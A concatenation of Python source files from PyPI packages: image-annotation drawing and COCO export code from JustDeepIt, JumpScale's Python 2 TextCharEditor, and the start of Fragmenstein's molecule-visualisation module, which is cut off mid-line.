1], 'y': region['contour'][i, 0]}) tmpl['regions'].append(r) if output_fpath is None: return tmpl else: if os.path.basename(output_fpath) == 'md5': with open(os.path.join(os.path.dirname(output_fpath), tmpl['asset']['id'] + '-asset.json'), 'w', encoding='utf-8') as fh: json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False) #json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False, indent=4) elif os.path.splitext(output_fpath)[1] in ['.gzip', '.gz']: with gzip.open(output_fpath, 'wt', encoding='utf-8') as fh: json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False) else: with open(output_fpath, 'w', encoding='utf-8') as fh: json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False) #json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False, indent=4) def __format2mask(self, output_fpath=None): if self.mask is None: mask = [] for region_i, region in enumerate(self.regions): # mask for current region tmpl = np.zeros(self.image.shape[0:2]) if 'contour' in region and region['contour'] is not None: rr, cc = skimage.draw.polygon(region['contour'][:, 1], region['contour'][:, 0], shape=(self.image.shape[0:2])) else: rr, cc = skimage.draw.rectangle((region['bbox'][1], region['bbox'][0]), end=(region['bbox'][3], region['bbox'][2]), shape=(self.image.shape[0:2])) rr = rr.astype(np.int32) cc = cc.astype(np.int32) if region['class'] == '__background__': tmpl[rr, cc] = -1 else: # tmpl[rr, cc] = region['id'] tmpl[rr, cc] = 1 mask.append(tmpl) if len(mask) > 0: mask = np.array(mask).transpose(1, 2, 0) else: mask = np.zeros((self.image.shape[0], self.image.shape[1], 1)) self.mask = mask if output_fpath is None: return self.mask.copy() else: np.save(self.mask, output_fpath) def draw(self, fig_type='mask', file_path=None, label=False, score=False, alpha=1.0, class2rgb=None): """Plot an image with annotations Method :func:`draw <justdeepit.utils.ImageAnnotation.draw>` depicts an image with annotations of class object :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>`. The output type can be specified by argument ``fig_type``, which can be specified as ``mask``, ``rgbmask``, ``masked``, ``bbox``, or ``contour``. Type ``mask`` plots a mask image, whose background is shown in black and the objects are shown in white. Type ``rgbmask`` plots an RGB mask image, where the background is shown in black while the objects are shown with different colors, unlike type mask. Objects belonging to the same class are plotted with the same colors according to ``class2rgb``. Type ``masked`` plots masked images with black background while the object area is the same as that of the original images. Type ``bbox`` plots an image with bounding boxes around objects. Type ``contour`` plots the contours of objects. In addition, multiple types can be specified simultaneously, such as ``mask+bbox`` and ``contour+bbox``. Args: fig_type (str): A string to specify the figure type to be plotted. One of ``mask``, ``rgbmask``, ``masked``, ``bbox``, or ``contour`` can be specified. file_path (str): A path to save the converted annotation. If ``None`` is given, return the image in :class:`numpy.ndarray` object. label (bool): Show class label of object on the image. score (bool): Show confidence score of object on the image if the score is not ``None``. alpha (float): A decimal number between 0.0 and 1.0 to specify the transparence of mask. class2rgb(dict): A dictionary with a key as a class name and value as a RGB value. If ``None`` is given, the preset colors will be used. Returns: If ``file_path`` is ``None``, return the image data in :class:`numpy.ndarray` object. Otherwise, save the data in the given path. Examples: >>> import matplotlib.pyplot as plt >>> from justdeepit.utils import ImageAnnotation >>> >>> image_fpath = './path/to/image.jpg' >>> ann_fpath = './path/to/image.json' >>> >>> ann = justdeepit.utils.ImageAnnotation(image_fpath, ann_fpath) >>> >>> ann.draw('bbox') """ if class2rgb is not None: self.class2rgb.update(class2rgb) img = None if fig_type == 'rgbmask': img = self.__draw_rgbmask() elif fig_type == 'mask': img = self.__draw_mask() elif fig_type == 'masked': img = self.__draw_maskedimage() elif fig_type == 'bbox': img = self.__draw_bbox() elif fig_type == 'contour': img = self.__draw_contours() elif 'bbox' in fig_type and 'rgbmask' in fig_type: img = self.__draw_rgbmask() img = self.__draw_bbox(img) elif 'bbox' in fig_type and 'masked' in fig_type: img = self.__draw_maskedimage() img = self.__draw_bbox(img) elif 'bbox' in fig_type and 'contour' in fig_type: img = self.__draw_contours() img = self.__draw_bbox(img) else: raise ValueError('Unsupported figure type: {}.'.format(fig_type)) if len(img.shape) == 2: _ = np.zeros((img.shape[0], img.shape[1], 3)) _[:, :, 0] = img.copy() _[:, :, 1] = img.copy() _[:, :, 2] = img.copy() img = _ img = img[:, :, :3] if alpha < 1.0: img = img * alpha + self.image[:, :, :3] * (1 - alpha) img = img.astype(np.uint8) img = self.__add_labels(img, label, score, fig_type) if self.image.shape[2] > 3: _ = np.zeros((self.image.shape[0], self.image.shape[1], self.image.shape[2] - 3)) _[:, :, :] = self.image[:, :, 3:] img = np.concatenate([img, _], axis=2) if file_path is None: return img else: skimage.io.imsave(file_path, img.astype(np.uint8), check_contrast=False) def __put_text_cv(self, img, text, pos=(0, 0), font=cv2.FONT_HERSHEY_SIMPLEX, font_scale=1, font_thickness=2, color=(0, 255, 0), bg_color=(0, 0, 0)): ''' Write a text into image with OpenCV methods. ''' x, y = pos text_size, _ = cv2.getTextSize(text, font, font_scale, font_thickness) text_w, text_h = text_size cv2.rectangle(img, pos, (x + text_w + 10, y + text_h + 10), bg_color, -1) cv2.putText(img, text, (x + 5, y + text_h + font_scale + 5), font, font_scale, color, font_thickness) return img def __pil2cv(self, img): img_cv_rgb = np.array(img, dtype = np.uint8) img_cv_bgr = np.array(img)[:, :, ::-1] return img_cv_bgr def __cv2pil(self, img): return PIL.Image.fromarray(img[:, :, ::-1]) def __put_text(self, img, text, pos=(0, 0), font=None, font_scale=28, font_thickness=1, color=(0, 255, 0), bg_color=(0, 0, 0)): x, y = pos x = x + 5 y = y - font_scale - 5 if font is None: font = pkg_resources.resource_filename('justdeepit', 'src/font/NotoSans-Medium.ttf') img_pil = self.__cv2pil(img) font = PIL.ImageFont.truetype(font=font, size=font_scale) draw = PIL.ImageDraw.Draw(img_pil) l_, t_, r_, b_ = draw.textbbox((x, y), text, font=font) draw.rectangle((l_ - 5, t_ - 5, r_ + 5, b_ + 5), fill=color[::-1], outline=color[::-1], width=5) draw.text((x, y), text, font=font, fill=bg_color[::-1]) return self.__pil2cv(img_pil) def __get_bg_color(self, col): lbg = 0.2126 * col[0] + 0.7152 * col[1] + 0.0722 * col[2] lw = 1 lb = 0 cw = (lw + 0.05) / (lbg + 0.05) cb = (lbg + 0.05) / (lb + 0.05) bg = None if cb > cw: bg = (0, 0, 0) else: bg = (255, 255, 255) return bg def __get_line_weight(self, img_shape): lw = 2 min_edge = min(img_shape[0], img_shape[1]) if min_edge > 4068: lw = 6 if min_edge > 2048: lw = 5 elif min_edge > 1024: lw = 4 elif min_edge > 640: lw = 3 return lw def __add_labels(self, img, label=True, score=True, fig_type='', pos=None): self.__update_class2rgb() for region in self.regions: if region['class'] == '__background__': continue obj_label = '' if label: obj_label += region['class'] if score and (not np.isnan(region['score'])): obj_label += ' ({:.03f})'.format(region['score']) if obj_label != '': cx = cy = None if 'bbox' in fig_type: cx = int(region['bbox'][0]) cy = int(region['bbox'][1]) else: if 'contour' in region and region['contour'] is not None: m = cv2.moments(region['contour'].astype(np.int32)) cx = int(m['m10'] / m['m00']) cy = int(m['m01'] / m['m00']) if cx is not None and cy is not None: img = self.__put_text(img, obj_label, (cx, cy), color=self.class2rgb[region['class']], bg_color=self.__get_bg_color(self.class2rgb[region['class']])) return img def __draw_mask(self): mask = self.__format2mask() is_obj = np.sum(mask, axis=2) > 0 is_bg = np.sum(mask, axis=2) < 0 bimask = np.zeros((mask.shape[0], mask.shape[1], 3)) for ch in range(bimask.shape[2]): bimask[:, :, ch][is_obj] = 255 bimask[:, :, ch][is_bg] = 0 return bimask def __draw_rgbmask(self): mask = self.__format2mask() self.__update_class2rgb() bimask = self.__draw_mask() mask_rgb = np.zeros((mask.shape[0], mask.shape[1], 3)) for i in range(len(self.regions)): if self.regions[i]['class'] != '__background__': for ch in range(mask_rgb.shape[2]): mask_rgb[:, :, ch][mask[:, :, i] > 0] = self.class2rgb[self.regions[i]['class']][ch] for ch in range(mask_rgb.shape[2]): mask_rgb[:, :, ch] = mask_rgb[:, :, ch] * (bimask[:, :, 0] > 0).astype(np.uint8) return mask_rgb def __draw_maskedimage(self, base_image=None): mask = self.__format2mask() bimask = self.__draw_mask() if base_image is None: img = self.image.copy() else: img = base_image.copy() for ch in range(img.shape[2]): img[:, :, ch] = img[:, :, ch] * (bimask[:, :, 0] > 0).astype(np.uint8) return img def __draw_bbox(self, base_image=None): if base_image is None: img = self.image.copy() else: img = base_image.copy() line_bold = self.__get_line_weight(img.shape) self.__update_class2rgb() for region in self.regions: if region['class'] != '__background__': bbox = [int(_) for _ in region['bbox']] img = cv2.rectangle(img, bbox[0:2], bbox[2:4], color=self.class2rgb[region['class']], thickness=line_bold) return img def __draw_contours(self, base_image=None): if base_image is None: img = self.image.copy() else: img = base_image.copy() line_bold = self.__get_line_weight(img.shape) self.__update_class2rgb() for region in self.regions: if 'contour' in region and region['contour'] is not None: contour = region['contour'].astype(np.int32) cv2.polylines(img, [contour], True, self.class2rgb[region['class']], thickness=line_bold) return img def __update_class2rgb(self): for region in self.regions: if region['class'] not in self.class2rgb: self.class2rgb[region['class']] = self.__rgb.pop() def __image2hash(self, image_fpath): with open(image_fpath, 'rb') as fh: image_data = base64.b64encode(fh.read()) image_hash = hashlib.md5(image_data.decode('ascii').encode('utf-8')).hexdigest() return image_hash def __generate_random_string(self, n): return ''.join(random.choices(string.ascii_letters + string.digits, k=n)) def __set_colormapping_dict(self, class2rgb, rgb2class): if (isinstance(class2rgb, (type(None), dict))) and (isinstance(rgb2class, (type(None), dict))): if (class2rgb is None) and (rgb2class is None): class2rgb = {} rgb2class = {} elif (class2rgb is not None) and (rgb2class is None): rgb2class = {} for cl, rgb in class2rgb.items(): rgb_str = ','.join([str(_) for _ in rgb]) rgb2class[rgb_str] = cl elif (class2rgb is None) and (rgb2class is not None): class2rgb = {} for rgb, cl in rgb2class.items(): class2rgb[cl] = [int(_) for _ in rgb.split(',')] elif (class2rgb is not None) and (rgb2class is not None): pass else: raise ValueError('Unexpected Error during setting color mapping dictionary.') else: raise ValueError('`class2rgb` and `rgb2class` arguments should be NoneType or given by a dictionary.') return class2rgb, rgb2class class ImageAnnotations: """List of :class:`ImageAnnocation <justdeepit.utils.ImageAnnotation>` objects :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` stores :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` class objects as a list object. To retrieve elements from an :class:`ImageAnnotations <justdeepit.utils.ImageAnnotationss>` object, indexing ``[i]`` and a ``for`` loop can be used. To add new elements to the end of :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>`, methods :func:`append <justdeepit.utils.ImageAnnotations.append>` and :func:`extend <justdeepit.utils.ImageAnnotations.extend>` can be used. In addition, this class implements method :func:`format <justdeepit.utils.ImageAnnotations.format>` to convert annotations into files in a specific format, such as COCO or Pascal VOC. Compared with :func:`format <justdeepit.utils.ImageAnnotation.format>` implemented in class :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` that generates annotations in a specific format for a single image, :class:`format <justdeepit.utils.ImageAnnotations.format>` in this class can generate annotations for multiple images. Args: x: If ``x`` is ``None``, generate an empty :class:`ImageAnnocations <justdeepit.utils.ImageAnnotations>` object. If ``x`` is :class:`ImageAnnocation <justdeepit.utils.ImageAnnotation>` or :class:`ImageAnnocations <justdeepit.utils.ImageAnnotations>` object, convert them to :class:`ImageAnnocations <justdeepit.utils.ImageAnnotations>` object. Examples: >>> from justdeepit.utils import ImageAnnotation, ImageAnnotations >>> ann_1 = ImageAnnotation('image_1.jpg', 'image_1.xml') >>> ann_2 = ImageAnnotation('image_2.jpg', 'image_2.xml') >>> ann_3 = ImageAnnotation('image_3.jpg', 'image_3.xml') >>> ann = justdeepit.utils.ImageAnnotations([ann_1, ann_2, ann_3]) """ def __init__(self, x=None): self.image_annotations = [] if x is None: pass elif isinstance(x, ImageAnnotation): self.image_annotations.append(x) elif isinstance(x, list): for i in x: if isinstance(i, ImageAnnotation): self.image_annotations.append(i) else: raise ValueError('Unable to parse the input objects.') elif isinstance(x, ImageAnnotations): self.image_annotations = x.image_annotations else: raise ValueError('Unable to parse the input objects.') self.i = 0 def __iter__(self): return self def __next__(self): try: return self.image_annotations[self.i] except IndexError: self.i = 0 raise StopIteration() finally: self.i += 1 def __len__(self): return len(self.image_annotations) def __getitem__(self, key): return self.image_annotations[key] def __setitem__(self, key, value): self.image_annotations[key] = value def append(self, image_annotation): """Add an :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` object to the end of the :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object Add an :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` object to the end of the :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object. Args: image_annotation (ImageAnnotation): An :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` object. Examples: >>> import glob >>> from justdeepit.utils import ImageAnnotation, ImageAnnotations >>> >>> anns = ImageAnnotations() >>> >>> for image_fpath in glob.glob(os.path.join(images_dpath, '*.jpg')): >>> ann_fpath = os.split.ext(image_fpath)[0] + '.xml' >>> ann = ImageAnnotation(image_fpath, ann_fpath, annotation_format='voc') >>> anns.append(ann) >>> >>> anns.fomrat('COCO', file_path='./images_annotation.json') """ assert type(image_annotation).__name__ == 'ImageAnnotation', 'Inputs should be ImageAnnotation class instance.' self.image_annotations.append(image_annotation) def extend(self, image_annotations): """Concatenate :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object to the end of the :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object Concatenate :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object or a list of :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` objects to the end of the :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object. Args: image_annotations (ImageAnnotations, list): An :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object or a list of :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` objects. Examples: >>> import glob >>> from justdeepit.utils import ImageAnnotation, ImageAnnotations >>> >>> anns_1 = ImageAnnotations() >>> for image_fpath in glob.glob(os.path.join('subset_1', '*.jpg')): >>> ann_fpath = os.split.ext(image_fpath)[0] + '.xml' >>> ann = ImageAnnotation(image_fpath, ann_fpath, annotation_format='voc') >>> anns_1.append(ann) >>> >>> anns_2 = ImageAnnotations() >>> for image_fpath in glob.glob(os.path.join('subset_2', '*.jpg')): >>> ann_fpath = os.split.ext(image_fpath)[0] + '.xml' >>> ann = ImageAnnotation(image_fpath, ann_fpath, annotation_format='voc') >>> anns_2.append(ann) >>> >>> >>> anns = ImageAnnotations() >>> anns.extend(anns_1) >>> anns.extend(anns_2) >>> anns.fomrat('COCO', file_path='./images_annotation.json') >>> """ for image_annotation in image_annotations: assert type(image_annotation).__name__ == 'ImageAnnotation', \ 'Inputs should be ImageAnnotation class instance.' self.image_annotations.append(image_annotation) def format(self, annotation_format, file_path=None, dataset_name='dataset'): """Format annotaitons to specific format Rearrange :class:`ImageAnnotations <justdeepit.utils.ImageAnnotations>` object to a specific format. COCO (.json) and Pascal VOC (.xml) are supported in current version. Different to :func:`format <justdeepit.utils.ImageAnnotation.format>` implemented in :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>`, COCO format annotations of multiple images are saved into single JSON file. Args: annotation_format (str): A string to specify the format to be formatted. file_path (str): A path to save the converted annotation. If ``None`` is given, return the converted annotation in string or dictionary. dataset_name (str): Data set name. Some annotaiton requires dataset name. Returns: If ``file_path`` is ``None``, return a string (for Pascal VOC format), a dictionary (for COCO), or :class:`numpy.ndarray` (for image data). Otherwise, save the data in the given path. Examples: >>> import glob >>> from justdeepit.utils import ImageAnnotation, ImageAnnotations >>> >>> anns = ImageAnnotations() >>> >>> for image_fpath in glob.glob(os.path.join(images_dpath, '*.jpg')): >>> ann_fpath = os.split.ext(image_fpath)[0] + '.xml' >>> ann = ImageAnnotation(image_fpath, ann_fpath, annotation_format='voc') >>> anns.append(ann) >>> >>> anns.fomrat('COCO', file_path='./images_annotation.json') """ if file_path is None: raise FileNotFoundError('file_path cannot be empty, set file_path to save the annotation.') if annotation_format == 'base': for image_annotation in self.image_annotations: fpath = os.path.join(file_path, os.path.splitext(os.path.basename(image_annotation.image_path))[0] + '.json') annotation_format.format('base', fpath) elif annotation_format.lower() == 'array' or annotation_format.lower() == 'numpy' or annotation_format.lower() == 'mask': for image_annotation in self.image_annotations: fpath = os.path.join(file_path, os.path.splitext(os.path.basename(image_annotation.image_path))[0] + '.npy') annotation_format.format('mask', fpath) #elif annotation_format.lower() == 'vott': # self.__format2vott(file_path, dataset_name) elif annotation_format.lower() == 'coco': self.__format2coco(file_path, dataset_name) elif annotation_format.lower() == 'voc': for image_annotation in self.image_annotations: fpath = os.path.join(file_path, os.path.splitext(os.path.basename(image_annotation.image_path))[0] + '.xml') annotation_format.format('voc', fpath) else: raise ValueError('Unsupported foramt.') def __format2coco(self, output_fpath, dataset_name): tmpl = { 'images': [], 'annotations': [], 'categories': [] } tag2id = {} tag_ = [] for imann in self.image_annotations: for region in imann.regions: tag_.append(region['class']) for tag_id, tag_name in enumerate(sorted(list(set(tag_)))): tag2id[tag_name] = tag_id + 1 max_ann_id = 1 for img_id, imann in enumerate(self.image_annotations): img_id += 1 imann_coco = imann.format('coco') # check tags id2tag = {} for cate_ in imann_coco['categories']: id2tag[str(cate_['id'])] = cate_['name'] # update image info imann_coco['images'][0]['id'] = img_id # update annotations for ann_id in range(len(imann_coco['annotations'])): imann_coco['annotations'][ann_id]['id'] = max_ann_id imann_coco['annotations'][ann_id]['image_id'] = img_id imann_coco['annotations'][ann_id]['category_id'] = tag2id[id2tag[str(imann_coco['annotations'][ann_id]['category_id'])]] max_ann_id += 1 tmpl['images'].append(imann_coco['images'][0]) tmpl['annotations'].extend(imann_coco['annotations']) for tag_name, tag_id in tag2id.items(): tmpl['categories'].append({ 'id': tag_id, 'name': tag_name, 'supercategory': tag_name }) with open(output_fpath, 'w', encoding='utf-8') as fh: json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False, indent=2) def __format2vott(self, output_fpath, dataset_name): tmpl = { 'name': dataset_name, 'securityToken': '', 'sourceConnection': { 'name': dataset_name, 'providerType': 'localFileSystemProxy', 'providerOptions': { 'encrypted': '' }, 'id': '' }, 'targetConnection': { 'name': dataset_name, 'providerType': 'localFileSystemProxy', 'providerOptions': { 'encrypted': '' }, 'id': '' }, 'videoSettings': { 'frameExtractionRate': 15 }, 'tags': [], 'id': '', 'activeLearningSettings': { 'autoDetect': False, 'predictTag': True, 'modelPathType': 'coco' }, 'exportFormat': { 'providerType': 'vottJson', 'providerOptions': { 'encrypted': '' } }, 'version': '2.2.0', 'lastVisitedAssetId': '', 'assets': {} } #tags = set() #for imann in self.image_annotations: # tmpl_ = imann.format('vott') # tmpl.assets[tmpl_['asset']['id']] = tmpl_['asset'] # for region in tmpl_['regions']: # tags.add(region['tags'].split(';')) #for tag in tags: # tmpl['tags'].append({'name': tag, 'color': '#0000FF'}) # save project.vott # save assets.json def __load_json(fpath): with open(fpath) as fh: d = json.load(fh) return d def __index_common_images(gt_fpath, pred_fpath): # ground truth gt2id = {} d = __load_json(gt_fpath) for im in d['images']: gt2id[os.path.basename(im['file_name'])] = str(im['id']) # prediction result pred2id = {} d = __load_json(pred_fpath) for im in d['images']: pred2id[os.path.basename(im['file_name'])] = str(im['id']) # common images betweeen groundtruth and prediction reuslt common_images = set(gt2id.keys()) & set(pred2id.keys()) im2id = {} for i, common_image in enumerate(sorted(list(common_images))): im2id[common_image] = i + 1 id2id = {'gt': {}, 'pred': {}} for im_fname, im_id in im2id.items(): id2id['gt'][gt2id[im_fname]] = im_id id2id['pred'][pred2id[im_fname]] = im_id return id2id def __modify_coco(coco_fpath, id2id): d = __load_json(coco_fpath) d_new = {} for coco_key in d.keys(): if coco_key == 'images': d_new['images'] = [] for x in d['images']: if str(x['id']) in id2id: x['id'] = id2id[str(x['id'])] d_new['images'].append(x) elif coco_key == 'annotations': d_new['annotations'] = [] for x in d['annotations']: if str(x['image_id']) in id2id: x['image_id'] = id2id[str(x['image_id'])] d_new['annotations'].append(x) else: d_new[coco_key] = d[coco_key] return d_new def __save_json(d, k=None): fd, temp_fpath = tempfile.mkstemp() with open(temp_fpath, 'w') as fh: if k is None: json.dump(d, fh, indent=4) else: json.dump(d[k], fh, indent=4) return temp_fpath def coco_eval(gt_fpath, pred_fpath): """Calculate validation scores from inference results This function calculate the validation scores (mAP, mPR) from inference results. This function requires two COCO format files as inputs, one is ground truth and the other is inference result. The image IDs are allowed to be different between two COCO format files, as this function will reindex image IDs according image name between two COCO format files. Args: gt_fpath (str): A path to COCO format file storing the ground truth annotations. pred_fpath (str): A path to COCO format file storing the inference result. Returns: A list contains validation scores. Examples: >>> from justdeepit.utils import coco_eval >>> >>> scores = coco_eval('gt.coco.json', 'predicted.coco.json') >>> print(scores) """ id2id = __index_common_images(gt_fpath, pred_fpath) gt_coco_dict = __modify_coco(gt_fpath, id2id['gt']) pred_coco_dict = __modify_coco(pred_fpath, id2id['pred']) gt_coco_fpath = __save_json(gt_coco_dict) pred_coco_fpath = __save_json(pred_coco_dict, 'annotations') gt_coco = pycocotools.coco.COCO(gt_coco_fpath) pred_coco = gt_coco.loadRes(pred_coco_fpath) coco_eval = pycocotools.cocoeval.COCOeval(gt_coco, pred_coco, 'bbox') coco_eval.evaluate() coco_eval.accumulate() coco_eval.summarize() os.remove(gt_coco_fpath) os.remove(pred_coco_fpath) return coco_eval.stats
PypiClean
/JumpScale-core-6.0.0.tar.gz/JumpScale-core-6.0.0/lib/JumpScale/baselib/codetools/TextCharEditor.py
from JumpScale import j class TextCharEditor(): """ represents a piece of text but broken appart in blocks this one works on a char basis """ def __init__(self,text,textfileeditor): text=text.replace("\t"," ") text=text.replace("\r","") self.chars=[[char,"",0] for char in text] #is the array of the text, each value = [char,blockname,blocknr] ##self.charsBlocknames=[] #position as in chars will have as value the blockname, if blockname=="" then not matched ##self.charsBlocknrs=[] #position as in chars will have as value the blocknr self._higestblocknr={} #key is name of block, the value is the last used blocknr self._textfileeditor=textfileeditor def save(self): self._textfileeditor.content=self.getText() self._textfileeditor.save() def getText(self): return "".join([char[0] for char in self.chars]) def getNrChars(self): return len(self.chars) def existsBlock(self,blockname): return self._higestblocknr.has_key(blockname) def getBlockNames(self): return self._higestblocknr.keys() def matchBlocksPattern(self,startpattern,stoppattern,blockname): """ will look for startpattern, then scan for stoppattern will only work on text which is not part of known blocks yet example to find comments which are full line based startpattern='^[ \t]*%%' stoppattern="\n" """ result=j.codetools.regex.getRegexMatches(startpattern,self.getText()) if len(result.matches)==0: pass for match in result.matches: start=match.start textToInvestigate=string.join([char[0] for char in self.chars[match.start:]],"") result2=j.codetools.regex.getRegexMatches(stoppattern,textToInvestigate) if len(result2.matches)==0: raise RuntimeError("could not find stoppattern %s"%stoppattern) end=result2.matches[0].end skip=False for pos in range(match.start,match.start+end): #scan first time if somewhere there is already a char part of a block if self.chars[pos][1]<>"": skip=True #j.logger.log("Could not match the pattern because as part of result there was already another block found, posstart:%s posstop%s" % (match.start,match.start+end-1),5) blocknr=self._getNextBlockNr(blockname) if skip==False: for pos in range(match.start,match.start+end): self.chars[pos][1]=blockname self.chars[pos][2]=blocknr # ipshell() def matchBlocksDelimiter(self,startpattern,blockname,delimiteropen="{",delimiterclose="}"): """ will look for startpattern, then scan for delimeropen and then start counting, block will stop when asmany closes are found as open delimiters ideal find e.g. a code block which is not line based will only work on text which is not part of known blocks yet @startpattern example to find '{listen,' startpattern="^[ \t]*{[ \r\n\t]*listen[ \r\n\t]*," #note the way how we allow tabs,newlines and spaces """ result=j.codetools.regex.getRegexMatches(startpattern,self.getText()) if len(result.matches)==0: pass for match in result.matches: start=match.start nrchars=len(self.chars) counter=0 state="start" blocknr=self._getNextBlockNr(blockname) endpos=0 for charpos in range(start,nrchars): char=self.chars[charpos][0] if char==delimiteropen: if state=="start": startpos=charpos counter+=1 state="scanning" if state=="scanning": if self.chars[charpos][1]=="": self.chars[charpos][1]=blockname self.chars[charpos][2]=blocknr if char==delimiterclose: counter-=1 if counter==0 and state<>"start": endpos=charpos+1 break def _getNextBlockNr(self,name): if not self._higestblocknr.has_key(name): self._higestblocknr[name]=1 else: self._higestblocknr[name]+=1 return self._higestblocknr[name] def getHighestBlockNr(self,name): if not self._higestblocknr.has_key(name): raise RuntimeError("Cound not find block with name %s" % name) else: return self._higestblocknr[name] def appendBlock(self,startpos,text,blockname=""): """ @param match means block was found and matching """ blocknr=self._getNextBlockNr(blockname) for line in text.split("\n"): self.lines.append(LTLine(line,blockname,blocknr)) def deleteBlocks(self,blockname): """ """ self.chars=[char for char in self.chars if char[1]<>blockname] def deleteBlock(self,blockname,blocknr=None): """ delete 1 specified block @param blocknr """ self.chars=[char for char in self.chars if not (char[1]==blockname and char[2]==blocknr)] def delete1Block(self,blockname): """ will check there is only 1 block and that block will be deleted, otherwise raise error """ if self.getHighestBlockNr(blockname)>1: raise RuntimeError("Found more than 1 block, cannot delete blockname=%s" % blockname) self.chars=[char for char in self.chars if char[1]<>blockname ] def getBlock(self,blockname,blocknr): """ get block based on blockname and blocknr """ return string.join([char[0] for char in self.chars if (char[1]==blockname and char[2]==blocknr)],"") def get1Block(self,blockname): """ will check there is only 1 block and that block will be returned, otherwise raise error """ if self.getHighestBlockNr(blockname)>1: raise RuntimeError("Found more than 1 block, cannot get blockname=%s" % blockname) return string.join([char[0] for char in self.chars if char[1]==blockname ],"") def insertBlock(self,start,text,blockname="",blocknr=None): """ block will be inserted at linenr, means line with linenr will be moved backwards """ if blocknr==None and blockname<>"": blocknr=self._getNextBlockNr(blockname) if blocknr==None and blockname=="": blocknr=0 if blocknr<>None and blockname=="": raise RuntimeError("Cannot have a blockname <>\"\" with blocknr>0") if len(text)==0: raise RuntimeError("Cannot insert empty block of text.") counter=start textarray=list(text)#text needs to be reversed otherwise inserting does not go well textarray.reverse() text=string.join(textarray,"") for char in text: self.chars.insert(start,[char,blockname,blocknr]) counter+=1 def replaceBlock(self,blockname,blocknr,text): """ replace block with new content """ pos=self.getBlockPosition(blockname,blocknr) self.deleteBlock(blockname,blocknr) self.insertBlock(pos,text,blockname,blocknr) # def replace1Block(self,blockname,text): # """ # set block based on startline with new content # """ # pos=self.getBlockPosition(blockname) # blocknr=self.chars[pos][2] # self.delete1Block(blockname) # self.insertBlock(pos,text,blockname,blocknr) def getBlockPosition(self,blockname,blocknr=None): for charnr in range(len(self.chars)): #print "%s %s %s" % (charnr,self.chars[charnr][1],self.chars[charnr][2]) if self.chars[charnr][1]==blockname and (blocknr==None or self.chars[charnr][2]==blocknr): return charnr raise RuntimeError("Could not find block with name %s and blocknr %s" % (blockname,blocknr)) #def __repr__(self): #return self.__str__() #def __str__(self): #return "" def printtext(self): """ print line then blocknames then blocknrs """ linepositions=[] line="" for pos in range(len(self.chars)): linepositions.append(pos) line+=(self.chars[pos][0]) if self.chars[pos][0]=="\n": print line, #print blocknames print string.join(["%s"%self.chars[pos][1] for pos in linepositions]) #print blocknrs print string.join(["%s"%self.chars[pos][2] for pos in linepositions]) line="" linepositions=[]
PypiClean
/Fragmenstein-0.12.11.tar.gz/Fragmenstein-0.12.11/fragmenstein/victor/_victor_show.py
from io import StringIO from fragmenstein.branding import divergent_colors from IPython.display import display, HTML from rdkit import Chem import os, re from typing import (Optional) from ._victor_common import _VictorCommon from ..display import ComponentViewer, MolNGLWidget class _VictorShow(_VictorCommon): # partial move out of utility module def to_nglview(self, print_legend: bool = False) -> MolNGLWidget: """` generates a NGLWidget (``IPython.display.display`` will show it) with the compounds and the merged if present. To override the colours: The colours will be those in the ``Chem.Mol``'s property ``_color`` if present. Returns -> nv.NGLWidget """ view, legend = self.monster._to_nglview_and_legend(show_positioned_mol=False) for molblock in (self.minimized_pdbblock, self.unminimized_pdbblock): if molblock is None: continue fh = StringIO(molblock) comp: ComponentViewer = view.add_component(fh, ext='pdb') # noqa it's there. comp.add_representation('ball+stick', colorValue='white', multipleBond=True, sele=f'[{self.ligand_resn}]') # force it. comp.update_ball_and_stick(colorValue='white', multipleBond=True) legend += ' Fragmenstein monster (white)' view._js(f"""const comp = this.stage.compList[{len(self.hits)}] const target_sele = new NGL.Selection('[{self.ligand_resn}]'); const radius = 5; const neigh_atoms = comp.structure.getAtomSetWithinSelection( target_sele, radius ); const resi_atoms = comp.structure.getAtomSetWithinGroup( neigh_atoms ); comp.addRepresentation( "line", {{sele: resi_atoms.toSeleString(), colorValue: "gainsboro", multipleBond: true}} ); comp.addRepresentation( "contact", {{sele: resi_atoms.toSeleString()}}); """) break else: pass if print_legend: display(HTML(legend)) # async madness: disabled for now. # view.center(f'[{self.ligand_resn}]') return view # =================== save ======================================================================================== def make_pse(self, filename: str = 'combo.pse', extra_mols: Optional[Chem.Mol] = None): """ Save a pse in the relevant folder. This is the Victor one. """ assert '.pse' in filename, f'{filename} not .pse file' if extra_mols is None: extra_mols = [] # ------------------------ import pymol2 with pymol2.PyMOL() as pymol: for hit in self.hits: hit_name = hit.GetProp('_Name') pymol.cmd.read_molstr(Chem.MolToMolBlock(hit), hit_name) if self.monster is None: pymol.cmd.color('grey50', f'element C and {hit_name}') elif hit_name in self.monster.unmatched: pymol.cmd.color('black', f'element C and {hit_name}') else: pymol.cmd.color('white', f'element C and {hit_name}') if self.monster is not None and self.monster.positioned_mol is not None: pymol.cmd.read_molstr(Chem.MolToMolBlock(self.monster.positioned_mol), 'placed') pymol.cmd.color('magenta', f'element C and placed') pymol.cmd.zoom('byres (placed expand 4)') pymol.cmd.show('line', 'byres (placed around 4)') if self.minimized_mol is not None: pymol.cmd.read_molstr(Chem.MolToMolBlock(self.minimized_mol), 'minimised') pymol.cmd.color('green', 